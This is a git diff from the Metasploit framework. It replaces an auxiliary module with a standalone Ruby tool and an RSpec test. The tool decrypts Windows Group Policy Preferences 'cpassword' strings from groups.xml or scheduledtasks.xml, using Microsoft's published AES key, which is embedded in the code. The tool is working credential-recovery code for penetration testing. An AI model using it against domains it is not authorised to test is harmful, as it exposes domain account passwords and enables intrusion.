diff --git a/modules/auxiliary/gather/gpp_standalone.rb b/modules/auxiliary/gather/gpp_standalone.rb deleted file mode 100644 index de92ced296..0000000000 --- a/modules/auxiliary/gather/gpp_standalone.rb +++ /dev/null @@ -1,66 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - def initialize(info={}) - super( update_info( info, - 'Name' => 'Windows Gather Group Policy "cpassword" Decrypt Standalone', - 'Description' => %q{ - This module will allow you to specify an encrypted cpassword string - using the Microsofts public AES key. This is useful if you don't or - can't use the GPP post exploitation module. Just paste the cpassword - encrypted string and it will output the decrypted string for you. - - Tested Windows Server 2008 R2 Domain Controller. - }, - 'License' => MSF_LICENSE, - 'Author' =>[ - 'Ben Campbell ', - 'Loic Jaquemet ', - 'scriptmonkey ', - 'theLightCosine', - 'mubix', #domain/dc enumeration code - 'David Kennedy "ReL1K" ' # made the standalone module for a straight password decrypt - useful for when you need to manually grab the groups.xml or scheduledtasks.xml manually and need to decrypt without running post exploitation module - ], - 'References' => - [ - ['URL', 'http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences'], - ['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'], - ['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'], - ['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx'] - ], - )) - - register_options( - [ - OptString.new('CPASSWORD', [ true, "The encrypted cpassword string to perform decryption on."]), - ], self.class) - - end - - def decrypt(encrypted_data) - padding = "=" * (4 - (encrypted_data.length % 4)) - epassword = "#{encrypted_data}#{padding}" - decoded = Rex::Text.decode_base64(epassword) - key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b" - aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC") - aes.decrypt - aes.key = key - plaintext = aes.update(decoded) - plaintext << aes.final - pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion - print_good("The decrypted AES password is: #{pass}") - - end - - def run - encrypted_data = datastore['CPASSWORD'] - pass = decrypt(encrypted_data) - - end -end diff --git a/spec/tools/cpassword_decrypt_spec.rb b/spec/tools/cpassword_decrypt_spec.rb new file mode 100644 index 0000000000..addf839222 --- /dev/null +++ b/spec/tools/cpassword_decrypt_spec.rb @@ -0,0 +1,31 @@ +require 'spec_helper' + +load Metasploit::Framework.root.join('tools/cpassword_decrypt.rb').to_path + +require 'fastlib' +require 'msfenv' +require 'msf/base' + +describe CPassword do + context "Class methods" do + let(:cpasswd) do + CPassword.new + end + + context ".decrypt" do + it "should return the decrypted password as 'testpassword'" do + # Encrypted password for "testpassword" + cpass = "AzVJmXh/J9KrU5n0czX1uBPLSUjzFE8j7dOltPD8tLk" + pass = cpasswd.decrypt(cpass) + pass.should eq('testpassword') + end + + it "should return an empty string due to a bad password" do + # Invalid password format + cpass = "BadPassword" + pass = cpasswd.decrypt(cpass) + pass.should eq('') + end + end + end +end \ No newline at end of file diff --git a/tools/cpassword_decrypt.rb b/tools/cpassword_decrypt.rb new file mode 100644 index 0000000000..24439fc50e --- /dev/null +++ b/tools/cpassword_decrypt.rb @@ -0,0 +1,132 @@ +#!/usr/bin/env ruby + +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +# +# This script will allow you to specify an encrypted cpassword string using the Microsofts public +# AES key. This is useful if you don't or can't use the GPP post exploitation module. Just paste +# the cpassword encrypted string found in groups.xml or scheduledtasks.xml and it will output the +# decrypted string for you. +# +# Tested Windows Server 2008 R2 Domain Controller. +# +# Authors: +# Ben Campbell +# Loic Jaquemet +# scriptmonkey +# theLightCosine +# mubix (domain/dc enumeration code) +# David Kennedy "ReL1K" +# +# References: +# http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences +# http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13) +# http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html +# http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx +# +# Demo: +# $ ./cpassword_decrypt.rb AzVJmXh/J9KrU5n0czX1uBPLSUjzFE8j7dOltPD8tLk +# [+] The decrypted AES password is: testpassword +# + +msfbase = __FILE__ +while File.symlink?(msfbase) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) +end + +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) +require 'fastlib' +require 'msfenv' +require 'rex' + + +class CPassword + + # + # Decrypts the AES-encrypted cpassword string + # @param encrypted_data [String] The encrypted cpassword + # @return [String] The decrypted string in ASCII + # + def decrypt(encrypted_data) + # Prepare the password for the decoder + padding = "=" * (4 - (encrypted_data.length % 4)) + epassword = "#{encrypted_data}#{padding}" + + # Decode the string using Base64 + decoded = Rex::Text.decode_base64(epassword) + + # Decryption + key = '' + key << "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc" + key << "\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b" + begin + aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC") + aes.decrypt + aes.key = key + plaintext = aes.update(decoded) + plaintext << aes.final + rescue OpenSSL::Cipher::CipherError + # Decryption failed possibily due to bad input + return '' + end + + # Converts the string to ASCII + Rex::Text.to_ascii(plaintext) + end +end + + +# +# Shows script usage +# +def usage + print_status("Usage: #{__FILE__} [The encrypted cpassword string]") + exit +end + + +# +# Prints a status message +# +def print_status(msg='') + $stderr.puts "[*] #{msg}" +end + + +# +# Prints an error message +# +def print_error(msg='') + $stderr.puts "[-] #{msg}" +end + + +# +# Prints a good message +# +def print_good(msg='') + $stderr.puts "[+] #{msg}" +end + + +# +# main +# +if __FILE__ == $PROGRAM_NAME + pass = ARGV.shift + + # Input check + usage if pass.nil? or pass.empty? + + cpasswd = CPassword.new + pass = cpasswd.decrypt(pass) + + if pass.empty? + print_error("Nothing was decrypted, please check your input.") + else + print_good("The decrypted AES password is: #{pass}") + end +end \ No newline at end of file